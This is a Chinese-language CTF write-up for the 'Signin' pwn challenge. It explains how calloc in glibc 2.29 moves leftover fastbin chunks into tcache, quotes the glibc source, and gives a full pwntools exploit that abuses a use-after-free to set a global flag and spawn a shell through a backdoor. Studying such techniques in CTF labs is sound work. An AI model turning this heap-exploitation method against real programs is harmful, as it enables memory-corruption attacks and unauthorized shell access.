Signin(calloc不从tcache里取chunk)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个后门函数,要执行后面函数,需要ptr不为0
Delete功能没有清空指针
Edit功能存在UAF漏洞,但edit功能只能使用一次
测试出题目给我们的glibc版本为2.29,存在tcahce机制。
由于edit功能只用一次。同时,我们注意到后门里函数使用了calloc。
通过阅读glibc2.29源码,我们得知calloc不会从tcache bin里取空闲的chunk,而是从fastbin里取,取完后,和malloc一样,如果fastbin里还有剩余的chunk,则全部放到对应的tcache bin里取,采用头插法
- if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
- {
- idx = fastbin_index (nb);
- mfastbinptr *fb = &fastbin (av, idx);
- mchunkptr pp;
- victim = *fb;
- if (victim != NULL)
- {
- if (SINGLE_THREAD_P)
- *fb = victim->fd;
- else
- REMOVE_FB (fb, pp, victim);
- if (__glibc_likely (victim != NULL))
- {
- size_t victim_idx = fastbin_index (chunksize (victim));
- if (__builtin_expect (victim_idx != idx, 0))
- malloc_printerr ("malloc(): memory corruption (fast)");
- check_remalloced_chunk (av, victim, nb);
- #if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = *fb) != NULL)
- {
- if (SINGLE_THREAD_P)
- *fb = tc_victim->fd;
- else
- {
- REMOVE_FB (fb, pp, tc_victim);
- if (__glibc_unlikely (tc_victim == NULL))
- break;
- }
- tcache_put (tc_victim, tc_idx);
- }
- }
- #endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
- }
那么,我们可以利用一次edit,把ptr-0x10链接到fastbin里去,然后调用后面函数执行calloc从fastbin里取出一个chunk,然后剩余的chunk全部放到对应的tcache bin里去。由于采用的是头插法插入,那么(ptr-0x10)->fd = heap_x_addr,这样,也就是ptr被写了一个堆的地址,不为0了,那么接下来就会执行system(“/bin/sh”)了。
综上,我们的exp脚本
#coding:utf8
from pwn import *
sh = process('./signin')
ptr = 0x4040C0
def create(index):
sh.sendlineafter('your choice?','1')
sh.sendlineafter('idx?',str(index))
def edit(index,content):
sh.sendlineafter('your choice?','2')
sh.sendlineafter('idx?',str(index).ljust(0xE,'\x00'))
sh.send(content)
def delete(index):
sh.sendlineafter('your choice?','3')
sh.sendlineafter('idx?',str(index))
#申请8个堆
for i in range(8):
create(i)
#释放8个堆,7个进tcache,1个进fastbin
for i in range(8):
delete(i)
#从tcache里取出一个,则还剩下6个
create(8)
edit(7,p64(ptr - 0x10))
#getshell
sh.sendlineafter('your choice?','6')
sh.interactive()